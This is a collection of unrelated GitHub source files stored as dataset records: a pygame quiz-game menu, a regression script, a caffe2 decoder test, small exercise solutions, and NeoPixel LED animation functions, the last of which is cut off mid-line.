+{"seq_id":"11402035058","text":"# This is going to be the menu manager.\nfrom .Vector2 import vector2\nimport time\nimport datetime\nfrom .AudioVisualManager import spritemanager\nfrom .AudioVisualManager import audiomanager\nfrom .databasemanager import databasemanager\nimport pygame\n\nclass menumanager:\n\tdef __init__(self,screen,contentmanager):\n\t\tself.screen = screen\n\t\t# Load image\n\t\tself.limg = pygame.image.load\n\t\tself.sm = spritemanager()\n\t\tself.am = audiomanager()\n\t\tself.cm = contentmanager # Reference to parent used to invoke methods on the parent.\n\n\t\t# Play a shitty song on loop\n\t\t# TODO : Upon progressing to the game, change the music played.\n\t\tself.am.playmusicloop(\"menumusic\", .4)\n\n\t\t# Get the images from the spritemanager\n\t\tself.logo = self.sm.getimage(\"logo\")\n\t\tself.menu = self.sm.getimage(\"background\")\n\n\t\t# Instructions popup > Image need to change\n\t\tself.ipopup = None\n\t\t# highscores popup Image need to change\n\t\tself.hpopup = None\n\t\t#Quit popup\n\t\tself.qpopup = None\n\t\t# Shortcut for screenblit.\n\t\tself.sb = self.screen.blit\n\n\t\t# menu = Buttons on the menu are active.\n\t\t# instructions = Buttons on the instuctions are active.\n\t\t# inactive = Don't render and handle click events of anything.\n\t\tself.state = \"menu\"\n\n\t\t# Button array for storing the buttons which can be callable\n\t\t# from a string.\n\t\tself.buttons = {\n\t\t\t\"start\" : button(self.screen, 20, 230, self.sm.getimage(\"start\"), self.sm.getimage(\"start_hover\"),\"menu\"),\n\t\t\t\"instructions\" : button(self.screen, 20, 290, self.sm.getimage(\"instructions\"), self.sm.getimage(\"instructions_hover\"),\"menu\"),\n\t\t\t\"highscores\": button(self.screen, 20, 350, self.sm.getimage(\"highscores\"),self.sm.getimage(\"highscores_hover\"), \"menu\"),\n\t\t\t\"quit\" : button(self.screen, 20, 410, self.sm.getimage(\"quitgame\"), self.sm.getimage(\"quitgame_hover\"), \"menu\")\n\t\t}\n\t\t# Array used to link functions to the buttons.\n\t\t# Be sure not to include the () when adding the function.\n\t\tself.functions = {\n\t\t\t\"start\" : self.switchstage,\n\t\t\t\"instructions\" : self.instructionsPress,\n\t\t\t\"highscores\": self.highscorePress,\n\t\t\t\"quit\" : self.quitpopupPress\n\t\t}\n\n#--------------------------- BUTTON HANDLING --------------------------------------\n\t# Handles the button handling such when the button is clickable or not.\n\tdef bclickhandling(self,pos):\n\t\tif self.hpopup is not None:\n\t\t\tself.hpopup.bclickhandling(pos)\n\t\t# Doing a KVP-Loop with the buttons to go through the buttons.\n\t\tif self.qpopup is not None:\n\t\t\tself.qpopup.bclickhandling(pos)\n\t\tfor k,v in self.buttons.items():\n\t\t\t# Check if the mouse is in a rectangle and compare the state\n\t\t\t# With the parent variable. If equal, go further. This is to prevent\n\t\t\t# to make the button clickable when it's not supposed to.\n\t\t\tif v.rect.collidepoint(pos) and self.state == v.parent:\n\t\t\t\t# Doing a KVP-Loop with the functions.\n\t\t\t\tfor i,f in self.functions.items():\n\t\t\t\t\t# If the key of the buttons KVP-Loop is the same as the\n\t\t\t\t\t# key of the functions KVP-Loop, execute the value of the\n\t\t\t\t\t# functions key. (Effectively a link.)\n\t\t\t\t\tif k == i:\n\t\t\t\t\t\tself.am.playsound(\"menubutton\", .6)\n\t\t\t\t\t\tf()\n\n\n # Button hover handling.\n\tdef bhoverhandling(self,pos):\n\t\tfor k,v in self.buttons.items():\n\t\t\tif v.rect.collidepoint(pos) and self.state == v.parent:\n\t\t\t\tv.imagedrawn = v.imagehover\n\t\t\telse:\n\t\t\t\tv.imagedrawn = v.imageidle\n\n\t\tif self.hpopup is not None:\n\t\t\tfor k,v in self.hpopup.buttons.items():\n\t\t\t\tif v.rect.collidepoint(pos):\n\t\t\t\t\tv.imagedrawn = v.imagehover\n\t\t\t\telse:\n\t\t\t\t\tv.imagedrawn = v.imageidle\n\n\t\tif self.qpopup is not None:\n\t\t\tself.qpopup.bhoverhandling(pos)\n\n#--------------------------- BUTTON HANDLING END ----------------------------------\n\tdef draw(self):\n\t\tif self.state is not \"inactive\":\n\t\t\tself.sb(self.menu, (0,0))\n\t\t\tself.sb(self.logo, (20,20))\n\t\t\t# Draw the buttons (KVP-Loop)\n\t\t\tfor k,v in self.buttons.items():\n\t\t\t \tv.draw()\n\t\t\t#self.ipopup.draw()\n\t\t\tif self.ipopup is not None:\n\t\t\t\tself.ipopup.draw()\n\t\t\tif self.hpopup is not None:\n\t\t\t\tself.hpopup.draw()\n\t\t\tif self.qpopup is not None:\n\t\t\t\tself.qpopup.draw()\n\n\tdef update(self):\n\t\tif self.state is not \"inactive\":\n\t\t\tfor k,v in self.buttons.items():\n\t\t\t\tv.update()\n\t\tif self.qpopup is not None:\n\t\t\tself.qpopup.update()\n\n\tdef highscorePress(self):\n\t\tself.hpopup = highscorePopup(self.screen, self, 200 , 200)\n\n\tdef instructionsPress(self):\n\t\tself.ipopup = instructionPopup(self.screen, self)\n\n\tdef quitpopupPress(self):\n\t\tself.qpopup = quitpopup(self.screen, self)\n\n\tdef testfunction(self):\n\t\tprint(\"Testing\")\n\n\tdef switchstage(self):\n\t\tself.cm.stage = 1\n\n\n\n#------------ Class functions\n# Add functions which can be invoked by the buttons.\n\nclass button:\n\tdef __init__(self,screen,posx,posy,img,imghover,parent):\n\t\tself.stage = 0\n\t\tself.parent = parent\n\t\tself.screen = screen\n\t\tself.pos = vector2(posx,posy)\n\t\tself.imageidle = img\n\t\tself.imagehover = imghover\n\t\tself.imagedrawn = img\n\t\tself.rect = pygame.Rect(self.pos.x, self.pos.y, self.imageidle.get_size()[0], self.imageidle.get_size()[1])\n\n\tdef draw(self):\n\t\t# pygame.draw.rect(self.screen,(255,0,0),self.rect)\n\t\tself.screen.blit(self.imagedrawn,(self.pos.x, self.pos.y))\n\n\n\tdef update(self):\n\t\tpass\n\n\nclass instructionPopup:\n\tdef __init__(self ,screen, mm):\n\t\tself.mm = mm\n\t\tself.size = vector2(600,300)\n\t\tself.screen = screen\n\t\tself.x = 50\n\t\tself.y = 30\n\n\t\tself.imgs = [\n\t\t\tself.mm.sm.getimage(\"instructions1\"),\n\t\t\tself.mm.sm.getimage(\"instructions2\"),\n\t\t\tself.mm.sm.getimage(\"instructions3\"),\n\t\t\tself.mm.sm.getimage(\"instructions4\"),\n\t\t\tself.mm.sm.getimage(\"instructions5\")\n\t\t]\n\t\tself.curimg = 0\n\n\tdef draw(self):\n\t\tpygame.draw.rect(self.screen, (255,255,255), (self.x, self.y, self.size.x, self.size.y))\n\t\tself.screen.blit(self.imgs[self.curimg],(self.x,self.y))\n\n\tdef bclickhandling(self):\n\t\tif self.curimg < len(self.imgs) - 1:\n\t\t\tself.curimg += 1\n\t\telse:\n\t\t\tself.disposeself()\n\n\tdef disposeself(self):\n\t\tself.mm.ipopup = None\n\n\nclass highscorePopup:\n\tdef __init__(self ,screen, mm, x , y):\n\t\tself.mm = mm\n\t\tself.x = 100\n\t\tself.y = 120\n\t\tself.screen = screen\n\t\t# create connection with database manager\n\n\t\tself.dbm = databasemanager()\n\n\t\tself.buttons = {\n\t\t\t\"back\" : button(self.screen, self.x + 410, self.y + 400, mm.sm.getimage(\"empty\"), mm.sm.getimage(\"empty_hover\"), None)\n\t\t}\n\t\tself.functions = {\n\t\t \t\"back\" : self.disposeself\n\t\t}\n\n\t\t#highscores\n\t\tself.columnfont = pygame.font.SysFont(\"arial\", 30)\n\t\tself.font = pygame.font.SysFont(\"arial\",25)\n\n\t\t#title\n\t\tself.title = pygame.font.SysFont(\"arial\", 70)\n\n\t\tself.results = self.dbm.download_top_score()\n\t\tself.hscores = []\n\t\tfor i in range(0,len(self.results)):\n\t\t\tself.hscores.append(hscore(self.results[i][2],int(self.results[i][0]), int(self.results[i][1])))\n\n\tdef disposeself(self):\n\t\tself.mm.hpopup = None\n\n\t# Handles the button handling such when the button is clickable or not.\n\tdef bclickhandling(self,pos):\n\t\t# Doing a KVP-Loop with the buttons to go through the buttons.\n\t\tfor k,v in self.buttons.items():\n\t\t\t# Check if the mouse is in a rectangle and compare the state\n\t\t\t# With the parent variable. If equal, go further. This is to prevent\n\t\t\t# to make the button clickable when it's not supposed to.\n\t\t\tif v.rect.collidepoint(pos):\n\t\t\t\t# Doing a KVP-Loop with the functions.\n\t\t\t\tfor i,f in self.functions.items():\n\t\t\t\t\t# If the key of the buttons KVP-Loop is the same as the\n\t\t\t\t\t# key of the functions KVP-Loop, execute the value of the\n\t\t\t\t\t# functions key. (Effectively a link.)\n\t\t\t\t\tif k == i:\n\t\t\t\t\t\tself.mm.am.playsound(\"menubutton\", .06)\n\t\t\t\t\t\tf()\n\n\t# Button hover handling.\n\tdef bhoverhandling(self,pos):\n\t\tfor k,v in self.buttons.items():\n\t\t\tif v.rect.collidepoint(pos) and self.state == v.parent:\n\t\t\t\tv.imagedrawn = v.imagehover\n\t\t\telse:\n\t\t\t\tv.imagedrawn = v.imageidle\n\n\tdef draw(self):\n\t\tpygame.draw.rect(self.screen, self.mm.sm.getcolor(\"lightgrey\"), (self.x, self.y, 700, 450))\n\t\tpygame.draw.rect(self.screen, (0, 0, 0), (self.x, self.y, 700, 450) , 1)\n\t\t#Highscore title\n\t\tself.highscoreTitle = self.title.render(\"TOP 5 \", True, (255,255,255))\n\t\t# self.closep = self.columnfont.render(\"Close Popup\", True, (255,255,255)\n\t\t# columns\n\t\tself.columnName = self.columnfont.render(\"Name\", True, (0, 0, 0))\n\t\tself.columnCQ = self.columnfont.render(\"Correct questions\", True, (0, 0, 0))\n\t\tself.columnT = self.columnfont.render(\"Turns\", True, (0, 0, 0))\n\n\n\t\tself.screen.blit(self.highscoreTitle, (self.x + 10, self.y + 10))\n\t\t# drawing columns\n\t\tself.screen.blit(self.columnName, (self.x + 20, self.y + 120))\n\t\tself.screen.blit(self.columnCQ, (self.x + 200, self.y + 120))\n\t\tself.screen.blit(self.columnT, (self.x + 500, self.y + 120))\n\t\tself.spacing = 40\n\n\t\tfor k,v in self.buttons.items():\n\t\t\tv.draw()\n\n\t\tself.screen.blit(self.columnfont.render(\"Close Popup\", True, (0,0,0)),(self.x + 460, self.y + 400))\n\t\tfor i in range(0, len(self.hscores)):\n\t\t\tself.name = self.font.render(str(self.hscores[i].name), True, (0, 0, 0))\n\t\t\tself.Cquestions = self.font.render(str(self.hscores[i].cquestions), True, (0, 0, 0))\n\t\t\tself.turns = self.font.render(str(self.hscores[i].turns), True, (0, 0, 0))\n\n\t\t\tself.screen.blit(self.name, (self.x + 20, self.y + 170 + (self.spacing * i)))\n\t\t\tself.screen.blit(self.Cquestions, (self.x + 275, self.y + 170 + (self.spacing * i)))\n\t\t\tself.screen.blit(self.turns, (self.x + 520, self.y + 170 + (self.spacing * i)))\n\nclass quitpopup():\n\tdef __init__(self,screen, mm):\n\t\tself.screen = screen\n\t\tself.mm = mm\n\t\tself.pos = vector2(350,200)\n\t\tself.shutdown = False\n\t\tself.endtime = datetime.datetime.utcnow() + datetime.timedelta(seconds=1)\n\t\tself.seconds = 3\n\n\t\tself.quitscreen = self.mm.sm.getimage(\"quitscreen\")\n\n\t\tself.textfont = pygame.font.SysFont(\"arial\", 30)\n\t\tself.buttonfont = pygame.font.SysFont(\"arial\", 25)\n\n\t\tself.quittext = self.textfont.render(\"Weet je zeker dat je wilt stoppen met dit spel?\", True, (0,0,0))\n\t\tself.no = self.buttonfont.render(\"Nee\", True, (0,0,0))\n\t\tself.yes = self.buttonfont.render(\"Ja\", True, (0,0,0))\n\n\t\tself.buttons = {\n\t\t \t\"no\" : button(self.screen, self.pos.x + 10, self.pos.y + 250, mm.sm.getimage(\"empty\"), mm.sm.getimage(\"empty_hover\"), None),\n\t\t \t\"yes\" : button(self.screen, self.pos.x + 300, self.pos.y + 250, mm.sm.getimage(\"empty\"), mm.sm.getimage(\"empty_hover\"), None),\n\t\t}\n\t\tself.functions = {\n\t\t\t\"no\" : self.disposeself,\n\t\t\t\"yes\" : self.startshutdown\n\t\t}\n\n\tdef disposeself(self):\n\t\tself.mm.qpopup = None\n\n\tdef startshutdown(self):\n\t\tself.shutdown = True\n\n\tdef timer(self):\n\t\tif datetime.datetime.utcnow() > self.endtime:\n\t\t\tif self.seconds > 0:\n\t\t\t\tself.seconds -= 1\n\t\t\t\tself.endtime = datetime.datetime.utcnow() + datetime.timedelta(seconds=1)\n\t\t\t\tprint(self.seconds)\n\t\t\telse:\n\t\t\t\tpygame.quit()\n\n\tdef bclickhandling(self,pos):\n\t\tfor k,v in self.buttons.items():\n\t\t\tif v.rect.collidepoint(pos):\n\t\t\t\tfor i,f in self.functions.items():\n\t\t\t\t\tif k == i:\n\t\t\t\t\t\tself.mm.am.playsound(\"menubutton\", .6)\n\t\t\t\t\t\tf()\n\n\t# Button hover handling.\n\tdef bhoverhandling(self,pos):\n\t\tfor k,v in self.buttons.items():\n\t\t\tif v.rect.collidepoint(pos):\n\t\t\t\tv.imagedrawn = v.imagehover\n\t\t\telse:\n\t\t\t\tv.imagedrawn = v.imageidle\n\n\n\tdef draw(self):\n\t\tpygame.draw.rect(self.screen, self.mm.sm.getcolor(\"lightgrey\"), (self.pos.x, self.pos.y, 600, 300))\n\t\tpygame.draw.rect(self.screen, (0, 0, 0), (self.pos.x, self.pos.y, 600, 300) , 1)\n\t\tself.screen.blit(self.quittext, (self.pos.x + 20, self.pos.y + 20))\n\n\t\tfor k,v in self.buttons.items():\n\t\t\tv.draw()\n\n\t\tself.screen.blit(self.no, (self.pos.x + 60, self.pos.y + 255))\n\t\tself.screen.blit(self.yes, (self.pos.x + 360, self.pos.y + 255))\n\n\t\tif self.shutdown:\n\t\t\tself.screen.blit(self.quitscreen, (0,0))\n\n\tdef update(self):\n\t\tif self.shutdown == True:\n\t\t\tself.timer()\n\n\n\n\nclass hscore:\n\tdef __init__(self, name, cquestions, turns):\n\t\tself.name = name\n\t\tself.cquestions = cquestions\n\t\tself.turns = turns\n","repo_name":"Kingdomdark/ProjectOP2","sub_path":"main/classes/MenuManager.py","file_name":"MenuManager.py","file_ext":"py","file_size_in_byte":11669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"33466603853","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jul 18 20:00:06 2020\r\n\r\n@author: ibrah\r\n\"\"\"\r\n\r\n\r\n\"\"\"MULTIPlE LINEAR REGRESSION\"\"\" #first method : ALL IN\r\n\r\n#importing librairies\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#importing the data\r\ndataset = pd.read_csv('50_Startups.csv')\r\n#rearrange the dataset\r\ndataset=dataset[['State','R&D Spend','Administration','Marketing Spend','Profit']]\r\nX=dataset.iloc[:,0:-1].values\r\nY=dataset.iloc[:,-1].values\r\n\r\n\r\n\r\n#taking care of missing data\r\nfrom sklearn.impute import SimpleImputer\r\n\r\nimputer=SimpleImputer(missing_values=0,strategy='mean')\r\nimputer.fit(X[:,1:])\r\nX[:,1:]=imputer.transform(X[:,1:])\r\n\r\n\r\n#Encoding categorical data : dependant variable state\r\nfrom sklearn.compose import ColumnTransformer\r\nfrom sklearn.preprocessing import OneHotEncoder\r\n\r\nct = ColumnTransformer([('encoder',OneHotEncoder(),[0])],'passthrough')\r\nX=np.array(ct.fit_transform(X))\r\n\r\n\r\n#splitting dataset into train and test set\r\nfrom sklearn.model_selection import train_test_split\r\nX_train,X_test,Y_train,Y_test = train_test_split(X,Y,test_size=0.2,random_state =0)\r\n\r\n#ALL-IN METHOD : LinearRegression\r\nfrom sklearn.linear_model import LinearRegression\r\nregressor = LinearRegression()\r\nregressor.fit(X_train,Y_train)\r\n\r\ny_pred = regressor.predict(X_test)\r\ny_pred = np.array(y_pred)\r\ny_pred = y_pred.reshape((y_pred.shape[0],1))\r\nY_test = np.array(Y_test)\r\nY_test = Y_test.reshape((10,1))\r\n\r\n\r\nresult = np.concatenate((y_pred,Y_test),axis=1)\r\nprint(result)\r\n\r\n#OPTIMAL METHOD\r\nimport statsmodels.api as sm\r\nX = np.append(np.ones((50,1)).astype(int),X,axis=1)\r\nX_opt = np.array(X[:,[0,1,2,3,4,5,6]],dtype=float)\r\nregressor_OLS = sm.OLS(Y,X_opt).fit()\r\nprint(regressor_OLS.summary())\r\n\r\n","repo_name":"Ibrahima-koundoul/Machine-Learning---Regression-","sub_path":"Machine Learning Regression/Regression Models/Multiple Linear Regression/multipleLR.py","file_name":"multipleLR.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"14816269139","text":"\n\n\n\n\nfrom caffe2.python import core\nfrom collections import defaultdict, Counter\nfrom hypothesis import given, settings\nimport caffe2.python.hypothesis_test_util as hu\nimport caffe2.python.serialized_test.serialized_test_util as serial\nimport hypothesis.strategies as st\nimport numpy as np\n\nimport unittest\n\nDEFAULT_BEAM_WIDTH = 10\nDEFAULT_PRUNE_THRESHOLD = 0.001\n\n\nclass TestCTCBeamSearchDecoderOp(serial.SerializedTestCase):\n @given(\n batch=st.sampled_from([1, 2, 4]),\n max_time=st.sampled_from([1, 8, 64]),\n alphabet_size=st.sampled_from([1, 2, 32, 128, 512]),\n beam_width=st.sampled_from([1, 2, 16, None]),\n num_candidates=st.sampled_from([1, 2]),\n **hu.gcs_cpu_only\n )\n @settings(deadline=None, max_examples=30)\n def test_ctc_beam_search_decoder(\n self, batch, max_time, alphabet_size, beam_width, num_candidates, gc, dc\n ):\n if not beam_width:\n beam_width = DEFAULT_BEAM_WIDTH\n op_seq_len = core.CreateOperator('CTCBeamSearchDecoder',\n ['INPUTS', 'SEQ_LEN'],\n ['OUTPUT_LEN', 'VALUES', 'OUTPUT_PROB'],\n num_candidates=num_candidates)\n\n op_no_seq_len = core.CreateOperator('CTCBeamSearchDecoder',\n ['INPUTS'],\n ['OUTPUT_LEN', 'VALUES', 'OUTPUT_PROB'],\n num_candidates=num_candidates)\n else:\n num_candidates = min(num_candidates, beam_width)\n op_seq_len = core.CreateOperator('CTCBeamSearchDecoder',\n ['INPUTS', 'SEQ_LEN'],\n ['OUTPUT_LEN', 'VALUES', 'OUTPUT_PROB'],\n beam_width=beam_width,\n num_candidates=num_candidates)\n\n op_no_seq_len = core.CreateOperator('CTCBeamSearchDecoder',\n ['INPUTS'],\n ['OUTPUT_LEN', 'VALUES', 'OUTPUT_PROB'],\n beam_width=beam_width,\n num_candidates=num_candidates)\n\n def input_generater():\n inputs = np.random.rand(max_time, batch, alphabet_size)\\\n .astype(np.float32)\n seq_len = np.random.randint(1, max_time + 1, size=batch)\\\n .astype(np.int32)\n return inputs, seq_len\n\n def ref_ctc_decoder(inputs, seq_len):\n output_len = np.zeros(batch * num_candidates, dtype=np.int32)\n output_prob = np.zeros(batch * num_candidates, dtype=np.float32)\n val = np.array([]).astype(np.int32)\n\n for i in range(batch):\n Pb, Pnb = defaultdict(Counter), defaultdict(Counter)\n Pb[0][()] = 1\n Pnb[0][()] = 0\n A_prev = [()]\n ctc = inputs[:, i, :]\n ctc = np.vstack((np.zeros(alphabet_size), ctc))\n len_i = seq_len[i] if seq_len is not None else max_time\n\n for t in range(1, len_i + 1):\n pruned_alphabet = np.where(ctc[t] > DEFAULT_PRUNE_THRESHOLD)[0]\n for l in A_prev:\n for c in pruned_alphabet:\n if c == 0:\n Pb[t][l] += ctc[t][c] * (Pb[t - 1][l] + Pnb[t - 1][l])\n else:\n l_plus = l + (c,)\n if len(l) > 0 and c == l[-1]:\n Pnb[t][l_plus] += ctc[t][c] * Pb[t - 1][l]\n Pnb[t][l] += ctc[t][c] * Pnb[t - 1][l]\n else:\n Pnb[t][l_plus] += \\\n ctc[t][c] * (Pb[t - 1][l] + Pnb[t - 1][l])\n\n if l_plus not in A_prev:\n Pb[t][l_plus] += \\\n ctc[t][0] * \\\n (Pb[t - 1][l_plus] + Pnb[t - 1][l_plus])\n Pnb[t][l_plus] += ctc[t][c] * Pnb[t - 1][l_plus]\n\n A_next = Pb[t] + Pnb[t]\n A_prev = sorted(A_next, key=A_next.get, reverse=True)\n A_prev = A_prev[:beam_width]\n\n candidates = A_prev[:num_candidates]\n index = 0\n for candidate in candidates:\n val = np.hstack((val, candidate))\n output_len[i * num_candidates + index] = len(candidate)\n output_prob[i * num_candidates + index] = Pb[t][candidate] + Pnb[t][candidate]\n index += 1\n\n return [output_len, val, output_prob]\n\n def ref_ctc_decoder_max_time(inputs):\n return ref_ctc_decoder(inputs, None)\n\n inputs, seq_len = input_generater()\n\n self.assertReferenceChecks(\n device_option=gc,\n op=op_seq_len,\n inputs=[inputs, seq_len],\n reference=ref_ctc_decoder,\n )\n\n self.assertReferenceChecks(\n device_option=gc,\n op=op_no_seq_len,\n inputs=[inputs],\n reference=ref_ctc_decoder_max_time,\n )\n\n\nif __name__ == \"__main__\":\n import random\n random.seed(2603)\n unittest.main()\n","repo_name":"pytorch/pytorch","sub_path":"caffe2/python/operator_test/ctc_beam_search_decoder_op_test.py","file_name":"ctc_beam_search_decoder_op_test.py","file_ext":"py","file_size_in_byte":5197,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"}
+{"seq_id":"36237618678","text":"lst = []\nwhile True:\n try:\n s = input().strip()\n lst.append(s)\n except EOFError:\n for x in lst:\n print(x)\n st = x.split(\" \")\n## print(st)\n if(int(st[0]) > (2 ** 31 - 1)):\n print('first number too big')\n if(int(st[2]) > (2 ** 31 - 1)):\n print('second number too big')\n if(( st[1]=='+' and int(st[0])+ int(st[2]) > (2 ** 31 - 1)) or (st[1]=='*' and int(st[0]) * int(st[2]) > (2 ** 31 - 1))) :\n print('result too big')\n break\n\n","repo_name":"milon101/UVA-Problems-Solution","sub_path":"465 - Overflow/465 - Overflow.py","file_name":"465 - Overflow.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"41734695635","text":"\"\"\"Descrição\nFaça um programa que leia um número inteiro e informe qual o mês do ano correspondente por extenso. Caso seja um mês inválido, informe ao usuario.\n\nFormato de entrada\n\nVocê receberá um número inteiro correspondente ao mês do ano. Considere que o mês de janeiro como 1 e o mês de dezembro como 12.\n\nQualquer inteiro fora desse intervalo deve ser considerado como um mês inválido.\n\n \n\nFormato de saída\n\nA saída deve ser um dos meses do ano, correspondendo ao inteiro dado na entrada, seguido de um final de linha. Portanto, as possíveis saídas são:\n\njaneiro\n\nfevereiro\n\nmarco\n\nabril\n\nmaio\n\njunho\n\njulho\n\nagosto\n\nsetembro\n\noutubro\n\nnovembro\n\ndezembro\n\n \n\nCaso o mês seja inválido, imprima como resposta:\n\ninvalido\n\n \n\nIMPORTANTE: perceba que a saída está toda em letras minúsculas e SEM ACENTOS.\"\"\"\n\n\n\ndef MesPorExtenso (mes):\n \n meses_extenso = [\"0\",\"janeiro\",\"fevereiro\",\"marco\",\"abril\",\"maio\",\"junho\",\"julho\",\"agosto\",\"setembro\",\"outubro\",\"novembro\",\"dezembro\"]\n if (mes > 0 and mes <= 12):\n for i in range (len(meses_extenso)):\n if (i == mes):\n print(meses_extenso[i])\n break\n else:\n print(\"invalido\")\n\nmes = int (input())\n\nMesPorExtenso(mes)","repo_name":"Andreza-S/Codando","sub_path":"códigos python/Meses do Ano por extenso.py","file_name":"Meses do Ano por extenso.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39291688660","text":"from neopixel import *\nimport time\nfrom random import seed\nfrom random import randint\nimport math\nimport vars\nseed(1)\n\n# All of the NeoPixel functions to be used with TouchOSC\n\n# Define functions which animate LEDs in various ways.\n# Set all colors\ndef setAll(strip, color):\n for i in range(0, strip.numPixels()):\n strip.setPixelColor(i, color)\n strip.show()\n\ndef turnOffPart(strip, downRange, upRange):\n for i in range(downRange, upRange):\n strip.setPixelColor(i, Color(0,0,0))\n strip.show()\n\n# Strand Test functions\ndef colorWipe(strip, color, wait_ms=50):\n \"\"\"Wipe color across display a pixel at a time.\"\"\"\n for i in range(strip.numPixels()):\n strip.setPixelColor(i, color)\n strip.show()\n time.sleep(wait_ms/1000.0)\n\ndef theaterChase(strip, color, wait_ms=50, iterations=10):\n \"\"\"Movie theater light style chaser animation.\"\"\"\n for j in range(iterations):\n for q in range(3):\n for i in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i+q, color)\n strip.show()\n time.sleep(wait_ms/1000.0)\n for i in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i+q, 0)\n\ndef wheel(pos):\n \"\"\"Generate rainbow colors across 0-255 positions.\"\"\"\n if pos < 85:\n return Color(pos * 3, 255 - pos * 3, 0)\n elif pos < 170:\n pos -= 85\n return Color(255 - pos * 3, 0, pos * 3)\n else:\n pos -= 170\n return Color(0, pos * 3, 255 - pos * 3)\n\ndef rainbow(strip, wait_ms=20, iterations=1):\n \"\"\"Draw rainbow that fades across all pixels at once.\"\"\"\n for j in range(256*iterations):\n for i in range(strip.numPixels()):\n strip.setPixelColor(i, wheel((i+j) & 255))\n strip.show()\n time.sleep(wait_ms/1000.0)\n\ndef rainbowCycle(strip, wait_ms=20, iterations=5):\n \"\"\"Draw rainbow that uniformly distributes itself across all pixels.\"\"\"\n for j in range(256*iterations):\n for i in range(strip.numPixels()):\n strip.setPixelColor(i, wheel((int(i * 256 / strip.numPixels()) + j) & 255))\n strip.show()\n time.sleep(wait_ms/1000.0)\n\ndef theaterChaseRainbow(strip, wait_ms=50):\n \"\"\"Rainbow movie theater light style chaser animation.\"\"\"\n for j in range(256):\n for q in range(3):\n for i in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i+q, wheel((i+j) % 255))\n strip.show()\n time.sleep(wait_ms/1000.0)\n for i in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i+q, 0)\n\n# SadKat1 Functions\ndef sadKat1(strip, wait_ms=20, iterations=1):\n for i in range(256*iterations):\n for j in range(strip.numPixels()):\n strip.setPixelColor(j, bluePurpleWheel((i + j) & 255))\n strip.show()\n time.sleep(wait_ms/1000.0)\n\ndef bluePurpleWheel(pos):\n \"\"\"Generate Blue and Purple colors across 0-255 positions.\"\"\"\n if pos < 85:\n return Color(100-pos, 0, 255-pos*3) #No blue -- now no red\n elif pos < 170:\n pos -= 85\n return Color(0, 0, 255 - pos * 3) #No red\n else:\n pos -= 170\n return Color(0, 100-pos, 255-pos*3) #No green\n\n# Twinkle function(s)\ndef twinkleTest(strip, onlyOne, count, wait_ms=50):\n turnOff(strip)\n for i in range(count):\n strip.setPixelColor(randint(0, strip.numPixels()), Color(170, 180, 30))\n strip.show()\n time.sleep(wait_ms/250.0)\n if (onlyOne):\n turnOff(strip)\n time.sleep(wait_ms/500.0)\n\ndef tfadeIn(strip, pixel, wait_ms=50):\n for i in range(210):\n strip.setPixelColor(pixel, Color(i/2, i, 0))\n strip.show()\n\ndef tfadeOut(strip, pixel, wait_ms=50):\n for i in reversed(range(210)):\n strip.setPixelColor(pixel, Color(i/2, i, 0))\n strip.show()\n\ndef trandomLight(strip, wait_ms=50):\n pixel = randint(0, strip.numPixels())\n tfadeIn(strip, pixel)\n tfadeOut(strip, pixel)\n\n# Turn off function\ndef turnOff(strip):\n for i in range(strip.numPixels()):\n strip.setPixelColor(i, Color(0,0,0))\n strip.show()\n\n# Fire functions\ndef Fire(strip, cooling, sparking, wait_ms=50):\n heat = [0] * strip.numPixels()\n for i in range(strip.numPixels()):\n cooldown = randint(0, ((cooling * 10)/strip.numPixels()) +2)\n if (cooldown > heat[i]):\n heat[i] = 0\n else:\n heat[i] = heat[i] - cooldown\n # Step 2: Heat from every cell drifts 'up' and diffuses a little\n for k in reversed(range(2, strip.numPixels() - 1)):\n heat[k] = (heat[k-1] + heat[k-2] + heat[k-2])/3\n # Step 3: Randomly ignite new 'sparks' near the bottom\n if (randint(0, 255) < sparking):\n y = randint(0,7)\n heat[y] = heat[y] + randint(160, 255)\n # Step 4: Convert heat to LED colors\n for j in range(strip.numPixels()):\n setPixelHeatColor(strip, j, heat[j])\n strip.show()\n time.sleep(0.03)\n\ndef setPixelHeatColor(strip, pixel, temperature):\n t192 = round((temperature/255.0)*191)\n heatramp = int(t192) & 0x3F\n heatramp <<= 2\n\n # Figure out which third of the spectrum we're in\n if (t192 > 0x80): # Hottest\n strip.setPixelColor(pixel, Color(255, 255, heatramp))\n elif (t192 > 0x40): # Middle\n strip.setPixelColor(pixel, Color(heatramp, 255, 0))\n else: # Coolest\n strip.setPixelColor(pixel, Color(0, heatramp, 0))\n\n# Fourth Flash functions & americanDad\ndef fourthChase(strip, wait_ms=50):\n # RW&B Chase\n for i in range(3):\n for j in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i+j, Color(0, 255, 0))\n for k in range(1, strip.numPixels(), 3):\n strip.setPixelColor(i+k, Color(127, 127, 127))\n for l in range(2, strip.numPixels(), 3):\n strip.setPixelColor(i+l, Color(0, 0, 255))\n strip.show()\n time.sleep(wait_ms/100.0)\n if (i == 0):\n strip.setPixelColor(i, Color(0, 0, 255))\n strip.show()\n if (i == 1):\n strip.setPixelColor(i-1, Color(127, 127, 127))\n strip.setPixelColor(i, Color(0, 0, 255))\n strip.show()\n\ndef oneLightRWB(strip, color, lightRange, wait_ms=50):\n for i in range(lightRange):\n strip.setPixelColor(i, color)\n strip.show()\n strip.setPixelColor(i, Color(0,0,0))\n# time.sleep(wait_ms/500000.0)\n strip.setPixelColor(lightRange-1, color)\n\ndef oneLightClear(strip, color, lightRange, wait_ms=50):\n for i in reversed(range(lightRange)):\n strip.setPixelColor(i, color)\n strip.show()\n strip.setPixelColor(i, 